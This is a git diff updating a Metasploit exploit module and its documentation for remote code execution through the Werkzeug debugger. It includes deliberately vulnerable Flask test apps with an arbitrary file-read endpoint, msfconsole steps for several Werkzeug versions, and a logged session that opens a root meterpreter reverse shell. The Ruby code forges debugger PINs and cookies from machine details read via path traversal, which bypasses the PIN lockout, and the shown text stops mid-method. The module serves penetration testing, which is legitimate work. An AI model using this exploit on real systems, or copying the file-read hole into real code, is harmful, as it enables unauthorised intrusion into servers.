diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index 79032305ac6c..8c83ec23790a 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -1,72 +1,602 @@ ## Vulnerable Application -Verified against: - + 0.9.6 on Debian - + 0.9.6 on Centos - + 0.10 on Debian - -A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py) +### Background + +The [Werkzeug](https://werkzeug.palletsprojects.com/) +[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows +developers to execute python commands in a web application either when an +exception is not caught by the application, or via the dedicated console if +enabled. + +Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the +debugger is not enabled by default. It is also included in other projects, for +example +[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html), +part of [django-extensions](https://django-extensions.readthedocs.io/) and may +also be used alone. + +[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) +states: "*The debugger allows the execution of arbitrary code which makes it a +major security risk. The debugger must never be used on production machines. We +cannot stress this enough. Do not enable the debugger in production. Production +means anything that is not development, and anything that is publicly +accessible.*" + +Additionally, +[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/) +states: "*Do not run the development server, or enable the built-in debugger, in +a production environment. The debugger allows executing arbitrary Python code +from the browser. It’s protected by a pin, but that should not be relied on for +security.*" + +**Of course this doesn't prevent developers from mistakenly enabling it in +production!** + +### Exploit Details + +Werkzeug versions 0.10 and older of did not include the PIN security feature, +therefore if the debugger was enabled then arbitrary code execution could be +easily achieved. Versions 0.11 and above enable the PIN by default, though it +can be disabled by the application developer. The format of the PIN is 9 +numerical digits, and can include hyphens (which are ignored by the +application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged +to stdout when the PIN prompt is shown to the user, therefore if access to +stdout is possible then it may be able to obtain the PIN using that feature. + +A custom PIN can be set by the application developer as an environment variable, +but it is more commonly generated by Werkzeug using an algorithm that is seeded +by information about the environment that the application is running in. + +Therefore, if the debugger or console is enabled and is not protected by a PIN, +or if it is possible to obtain the PIN, cookie or the required information about +the environment that the app is running in (e.g. by exploiting a separate path +traversal bug in the app) then remote Python code execution will be possible. + +If the debugger is "secured" with a PIN then, it will be automatically locked +after 11 unsuccessful authentication attempts, requiring a restart to re-enable +PIN based authentication. This can be avoided by calculating the value of a +cookie and sending that to the debugger instead of sending the PIN, which is +what this module does, unless the Known-PIN method of exploitation is used. +Furthermore, authentication using a cookie works even if the PIN-based +authentication method has been locked because of too many failed authentication +attempts. This means that this exploit will work even if the debugger +PIN-authentication is locked. + +[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile) +that required this vulnerability to be exploited in order to gain an initial +foothold. As a result there are many walkthroughs available online that explain +how a valid PIN can be generated using +[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142) +along with information about the environment. As far as I can tell, none of +these walkthroughs mention that a cookie can also be generated, and that a +cookie will bypass a PIN-locked debugger. Neither do they mention that very old +versions of Werkzeug don't require PIN or that the PIN/cookie generation +algorithm has changed over time. + +To support the different PIN/cookie generation algorithms, this module supports +multiple different versions of Werkzeug as the target. + +It should be noted that version +[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309) +to see ensure that requests that include python code to be executed by the +debugger must come from localhost or 127.0.0.1. This is done by checking the +Host HTTP header, and therefore can in some cases be bypassed by setting the +Host header manually using the VHOST parameter in this module. + +## Tested Versions + +This module has been verified against the following versions of Werkzeug: +- 3.0.3 on Debian 12, Windows 11 and macOS 14.6 +- 1.1.4 on Debian 12 +- 1.0.1 on Debian 12 +- 0.11.5 on Debian 12 +- 0.10 on Debian 12 + +## Sample Vulnerable Application + +The following Docker Compose file, Dockerfiles and Python script can be used to +build and run a set of containers that have the console enabled (at /console) +and also contains endpoints that cause the application to attempt to read the +content of a file and include it in the response. These endpoints can be used +for arbitrary file read, but also for triggering the debugger, for example by +requesting the content of a file that doesn't exist in the container. + +#### compose.yaml + + services: + werkzeug-3.0.3: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "80:80" + werkzeug-1.0.1: + build: + dockerfile: werkzeug-1.0.1.Dockerfile + ports: + - "81:80" + werkzeug-0.11.5: + build: + dockerfile: werkzeug-0.11.5.Dockerfile + ports: + - "82:80" + werkzeug-0.10: + build: + dockerfile: werkzeug-0.10.Dockerfile + ports: + - "83:80" + werkzeug-3.0.3-basicauth-custompin: + build: + dockerfile: werkzeug-3.0.3-basicauth.Dockerfile + environment: + WERKZEUG_DEBUG_PIN: 1234 + ports: + - "84:80" + werkzeug-3.0.3-noevalex: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "85:80" + entrypoint: + - ./app.py + - --no-evalex + +#### werkzeug-3.0.3.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-1.0.1.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==1.0.1 flask==1.1.4 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-0.11.5.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.11.5 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-0.10.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.10 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-3.0.3-basicauth.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0 + COPY report.txt . + COPY --chmod=744 app-basicauth.py app.py + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### app.py + + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + app = Flask(__name__) + + @app.route("/") + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() + +#### app-basicauth.py + + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + from flask_httpauth import HTTPBasicAuth + from werkzeug.security import generate_password_hash, check_password_hash + + app = Flask(__name__) + + auth = HTTPBasicAuth() + users = {"admin": generate_password_hash("admin")} + + @auth.verify_password + def verify_password(username, password): + if username in users and \ + check_password_hash(users.get(username), password): + return username + + @app.route("/") + @auth.login_required + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + @auth.login_required + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + @auth.login_required + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() + +#### report.txt + + Hi there, I'm a sample report ## Verification Steps - 1. Install the application - 2. Start msfconsole - 3. Do: `use exploit/multi/http/werkzeug_debug_rce` - 4. Do: `set rport ` - 5. Do: `set rhost ` - 6. Do: `check` -``` -[+] 10.108.106.201:8081 - The target is vulnerable. -``` - 7. Do: `set payload python/meterpreter/reverse_tcp` - 8. Do: `set lhost ` - 9. Do: `exploit` - 10. You should get a shell. +1. Run the docker containers +2. Start msfconsole + +### Werkzeug 3.0.3 using /console + +3. Do: `use exploit/multi/http/werkzeug_debug_rce` +4. Do: `set RHOSTS ` +5. Do: `set LHOST ` +6. Do: `set VHOST 127.0.0.1` +7. Do: `set MACADDRESS ` +8. Do: `set MACHINEID ` +9. Do: `set FLASKPATH /usr/local/lib//site-packages/flask/app.py` (where `` matches the version on the system being exploited) +10. Do: `run` +11. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (GET) + +12. Do: `set TARGETURI /getdownload?file=` +13. Do: `run` +14. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) + +15. Do: `set METHOD POST` +16. Do: `set TARGETURI /postdownload` +17. Do: `set REQUESTBODY file=` +18. Do: `run` +19. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /console + +20. Do: `unset METHOD` +21. Do: `unset TARGETURI` +22. Do: `unset REQUESTBODY` +23. Do: `set RPORT 81` +24. Do: `set TARGET 1` +25. Do: `set MACADDRESS ` +26. Do: `set MACHINEID ` +27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc` +28. Do: `run` +29. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /debugger (GET) + +30. Do: `set TARGETURI /getdownload?file=` +31. Do: `run` +32. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using debugger (POST) + +33. Do: `set METHOD POST` +34. Do: `set TARGETURI /postdownload` +35. Do: `set REQUESTBODY file=` +36. Do: `run` +37. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /console + +38. Do: `unset METHOD` +39. Do: `unset TARGETURI` +40. Do: `unset REQUESTBODY` +41. Do: `set RPORT 82` +42. Do: `set TARGET 2` +43. Do: `set MACADDRESS ` +44. Do: `set MACHINEID ` +45. Do: `run` +46. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /debugger (GET) + +47. Do: `set TARGETURI /getdownload?file=` +48. Do: `run` +49. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using debugger (POST) + +50. Do: `set METHOD POST` +51. Do: `set TARGETURI /postdownload` +52. Do: `set REQUESTBODY file=` +53. Do: `run` +54. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /console + +55. Do: `unset METHOD` +56. Do: `unset TARGETURI` +57. Do: `unset REQUESTBODY` +58. Do: `set RPORT 83` +59. Do: `set TARGET 3` +60. Do: `set AUTHMODE none` +61. Do: `set MACADDRESS ` +62. Do: `set MACHINEID ` +63. Do: `run` +64. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /debugger (GET) + +65. Do: `set TARGETURI /getdownload?file=` +66. Do: `run` +67. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (no authentication required) using debugger (POST) + +68. Do: `set METHOD POST` +69. Do: `set TARGETURI /postdownload` +70. Do: `set REQUESTBODY file=` +71. Do: `run` +72. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth + +73. Do: `set RPORT 84` +74. Do: `set TARGET 0` +75. Do: `set AUTHMODE known-PIN` +76. Do: `set HTTPUSERNAME admin` +77. Do: `set HTTPPASSWORD admin` +78. Do: `set PIN 1234` +79. Do: `run` +80. You should see a cookie being logged then get a shell. + +### Werkzeug 3.0.3 interactive debugger disabled + +81. Do: `set RPORT 85` +82. Do: `unset AUTHMODE` +83. Do: `set MACADDRESS ` +84. Do: `set MACHINEID ` +85. Do: `set FLASKPATH /usr/local/lib//site-packages/flask/app.py` (where `` matches the version on the system being exploited) +86. Do: `run` +87. You should see a failure due to the check failing. ## Options - **TARGETURI** +### `AUTHMODE` + +Method of authentication. Valid values are: + +- `generated-cookie`: Cookie generated from information provided about the + application's environment. **When this mode is used, the following additional + options must be set:** + - `APPNAME`: The name of the application according to Werkzeug. This is often + `Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other + information to generate a PIN and cookie. + - `CGROUP`: Control group. This may be an empty string (''), for example if + the OS running the app is Linux and supports cgroup v2, or the OS is not + Linux. If you have path traversal on Linux, this could be read from + `/proc/self/cgroup` + - `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you + have triggered the debugger via an exception, it will be at the top of the + stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*. + **Note that the file extension may need to be changed to .pyc** + - `MACADDRESS`: The MAC address of the system that the application is running + on. *If you have path traversal on Linux, this could be read from + `/sys/class/net/eth0/`* + - `MACHINEID`: + - On Linux: *If you have path traversal on Linux, this could be read from + /etc/machine-id, or if that doesn't exist, + /proc/sys/kernel/random/boot_id.* + - On Windows: This is a UUID stored in the registry at + `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`. + - On macOS,: This is the UTF-8 encoded serial number of the system + (lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL` + becomes + `4e3054415245414c53455249414c000000000000000000000000000000000000`. This + can be retrieved with the following command + `ioreg -c IOPlatformExpertDevice | grep \"serial-number\"` + - `MODULENAME`: Name of the application module. Often `flask.app` or + `werkzeug.debug` + - `SERVICEUSER`: User account name that the service is running under. + [This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172) + . *If you have path traversal on Linux, you may be able to read this from + `/proc/self/environ`* +- `known-cookie`: Cookie provided by user. **When this mode is used, the + following additional option must be set:** + - `COOKIE`: The HTTP cookie to use for authentication to the debugger. +- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by + user. **When this mode is used, the following additional option must be set:** + - `PIN`: Known 6 digit PIN to use for authentication. This can be set to a + custom value by the application developer, in which case generating the pin + won't work. *However, if you have path traversal, you may be able to + retrieve the PIN by reading the application source code, or on Linux by + reading `/proc/self/environ` to obtain the value. of the + `WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain + the PIN by accessing the logging that Werkzeug prints to stdout*. +- `none`: For applications that don't require authentication. I.e. Werkzeug + version 0.10 or lower or PIN authentication has been disabled by the + application developer. + +### `METHOD` - TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script. +HTTP method used to access debugger or console. This is typically GET if the +`TARGETURI` is `/console` but it may be necessary to use other methods to +trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`, +`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the +following additional option may be set:** + +- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger + the debugger. E.g. invalid form value to raise an exception. **When this is + set the following additional option may be set:** + - `REQUESTCONTENTTYPE`: Request body encoding. Default: + `application/x-www-form-urlencoded` + +### `TARGETURI` + +The path to the console or resource used to trigger the debugger. Default value +is `/console`. + +### `VHOST` + +The value to use in the HTTP `Host` header. It may be necessary to set this to +`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later, +however this may hamper connectivity if the `Host` header is validated before +the request is passed to the application. + +### `TARGET` + +Determines which algorithm the exploit module will use to generate a pin and +cookie. Valid values are: + +- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4) +- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4) +- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0) +- `3`: Werkzeug < 0.11 (Flask < 1.0) ## Scenarios Example utilizing the previously mentioned sample app listed above. -``` -msf > use exploit/multi/http/werkzeug_debug_rce -msf exploit(werkzeug_debug_rce) > set rport 8081 -rport => 8081 -msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 -rhost => 10.108.106.201 -msf exploit(werkzeug_debug_rce) > check -[+] 10.108.106.201:8081 - The target is vulnerable. -msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp -payload => python/meterpreter/reverse_tcp -msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121 -lhost => 10.108.106.121 -msf exploit(werkzeug_debug_rce) > exploit - -[*] Started reverse handler on 10.108.106.121:4444 -[*] Sending stage (25277 bytes) to 10.108.106.201 -[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400 - -meterpreter > getpid -Current pid: 13034 -meterpreter > getuid -Server username: root -meterpreter > sysinfo -Computer : werkzeug -OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) -Architecture : x86_64 -Meterpreter : python/python -meterpreter > shell -Process 13037 created. -Channel 0 created. -/bin/sh: 0: can't access tty; job control turned off -# ls -app.py app.pyc werkzeug -# exit -meterpreter > exit -[*] Shutting down Meterpreter... -``` + $ msfconsole -q + msf6 > use exploit/multi/http/werkzeug_debug_rce + [*] No payload configured, defaulting to python/meterpreter/reverse_tcp + msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 + RHOSTS => 192.168.23.5 + msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 + LHOST => 192.168.23.117 + msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 + VHOST => 127.0.0.1 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 + MACADDRESS => 02:42:ac:12:00:04 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 + MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 + msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py + FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py + msf6 exploit(multi/http/werkzeug_debug_rce) > run + + [*] Started reverse TCP handler on 192.168.23.117:4444 + [*] Running automatic check ("set AutoCheck false" to disable) + [*] Debugger allows code execution + [!] The service is running, but could not be validated. Debugger requires authentication + [*] Generated authentication PIN: 105-774-671 + [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 + [*] Sending stage (24772 bytes) to 192.168.23.5 + [*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100 + + meterpreter > getpid + Current pid: 38 + meterpreter > getuid + Server username: root + meterpreter > sysinfo + Computer : 3eb759665d5f + OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22 + Architecture : aarch64 + System Language : C + Meterpreter : python/linux + meterpreter > shell + Process 41 created. + Channel 1 created. + + ls + app.py + bin + boot + dev + etc + home + lib + media + mnt + opt + proc + report.txt + root + run + sbin + srv + sys + tmp + usr + var + exit + +## Credits + +- 2015 - h00die (mike[at]shorebreaksecurity.com) + - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication. +- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec) + - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms: + - Generated Cookie (bypasses PIN-lock) + - Known-Cookie (bypasses PIN-lock) + - Known-PIN diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index d21ff28706a2..4927b2738537 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -4,79 +4,401 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + Rank = GoodRanking + + METHODS_WITH_BODY = %w[POST PUT PATCH].freeze + COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze + MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze + PIN_PATTERN = /^[[:digit:]-]+$/.freeze + def initialize(info = {}) - super(update_info(info, - 'Name' => 'Werkzeug Debug Shell Command Execution', - 'Description' => %q{ - This module will exploit the Werkzeug debug console to put down a - Python shell. This debugger "must never be used on production - machines" but sometimes slips passed testing. - - Tested against: - 0.9.6 on Debian - 0.9.6 on Centos - 0.10 on Debian - }, - 'Author' => 'h00die ', - 'References' => - [ - ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + super( + update_info( + info, + 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution', + 'Description' => %q{ + This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone. + + The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production! + + Tested against the following Werkzeug versions: + - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 + - 1.1.4 on Debian 12 + - 1.0.1 on Debian 12 + - 0.11.5 on Debian 12 + - 0.10 on Debian 12 + }, + 'Author' => [ + 'h00die ', + 'Graeme Robinson /@GraSec' + ], + 'References' => [ + ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'], + ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'], + [ + 'URL', + 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \ + 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a' + ] ], - 'License' => MSF_LICENSE, - 'Platform' => ['python'], - 'Targets' => [[ 'werkzeug 0.10 and older', {}]], - 'Arch' => ARCH_PYTHON, - 'DefaultTarget' => 0, - 'DisclosureDate' => '2015-06-28' - )) + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Targets' => [ + # pip install werkzeug==3.0.3 flask==3.0.3 + [ + 'Werkzeug > 1.0.1 (Flask > 1.1.4)', + { + digest: Digest::SHA1, + digest_inputs: :new, + salt: ' added salt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==1.0.1 flask==1.1.4 + [ + 'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)', + { + digest: Digest::MD5, + digest_inputs: :new, + salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==0.11.5 flask==0.12.5 + [ + 'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)', + { + digest: Digest::MD5, + digest_inputs: :old, + salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==0.10 flask==0.12.5 + ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version + ], + 'Arch' => ARCH_PYTHON, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2015-06-28', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) register_options( [ - OptString.new('TARGETURI', [true, 'URI to the console', '/console']) - ], self.class + OptEnum.new('AUTHMODE', [ + true, 'Authentication mode', 'generated-cookie', + %w[generated-cookie known-cookie known-PIN none] + ]), + OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]), + OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), + + # Options for using a known cookie/PIN + OptString.new('PIN', [ + false, 'PIN to use for authentication. This can be set to a custom value by the ' \ + "application developer, in which case generating the pin won't work, but if you" \ + 'have path traversal, you may be able to retrieve this pin by reading the ' \ + 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ + 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil + ], + conditions: %w[AUTHMODE == known-PIN]), + OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil], + conditions: %w[AUTHMODE == known-cookie]), + + # Options for generating cookie/PIN + OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'], + conditions: %w[AUTHMODE == generated-cookie]), + # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho + # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2 + OptString.new('CGROUP', [ + false, + "Control group. This may be an empty string (''), for example if the OS running the " \ + 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \ + 'traversal on Linux, this could be read from /proc/self/cgroup', + '' + ], conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('FLASKPATH', [ + false, + 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \ + 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \ + '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \ + 'need to be changed to .pyc)', '' + ], + conditions: %w[AUTHMODE == generated-cookie]), + # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential + OptString.new('MACADDRESS', [ + false, + 'MAC address of the system that the service is running on. If you have path ' \ + 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MACHINEID', [ + false, + 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \ + "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \ + 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \ + 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \ + 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \ + '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \ + "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \ + '\"serial-number\"', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('SERVICEUSER', [ + false, + 'User account name that the service is running under. If you have path ' \ + 'traversal on Linux, you may be able to read this from /proc/self/environ', + 'root' + ], + conditions: %w[AUTHMODE == generated-cookie]), + + # Options for sending a body, if required to invoke the debugger + OptString.new( + 'REQUESTBODY', + [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"], + conditions: ['METHOD', 'in', METHODS_WITH_BODY] + ), + + # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me! + OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'], + conditions: %w[REQUESTBODY == set]) + ], + self.class ) end - def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) - ) + def all_generation_values_set? + datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] && + datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP'] + end - # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 - if res && res.body =~ /Werkzeug powered traceback interpreter/ - return Exploit::CheckCode::Appears + def config_invalid? + # Check that target supports selected authentication mode + if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none' + return CheckCode::Unknown( + "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ + "require/support authentication. Change TARGET or set AUTHMODE to 'none'" + ) end - Exploit::CheckCode::Safe + case datastore['AUTHMODE'] + when 'known-cookie' + unless COOKIE_PATTERN =~ datastore['COOKIE'] + return CheckCode::Unknown( + 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ + "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'" + ) + end + when 'known-PIN' + unless PIN_PATTERN =~ datastore['PIN'] + return CheckCode::Unknown( + 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens' + ) + end + when 'generated-cookie' + # Check that *all* values used to generate cookie & pin are set + unless all_generation_values_set? + return CheckCode::Unknown( + "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ + 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP' + ) # Alphabetise + end + # Check for valid MAC address + unless MAC_PATTERN =~ datastore['MACADDRESS'] + return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address") + end + end + + # Check that requestbody is not specified if method doesn't support it + return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) + + return CheckCode::Unknown( + 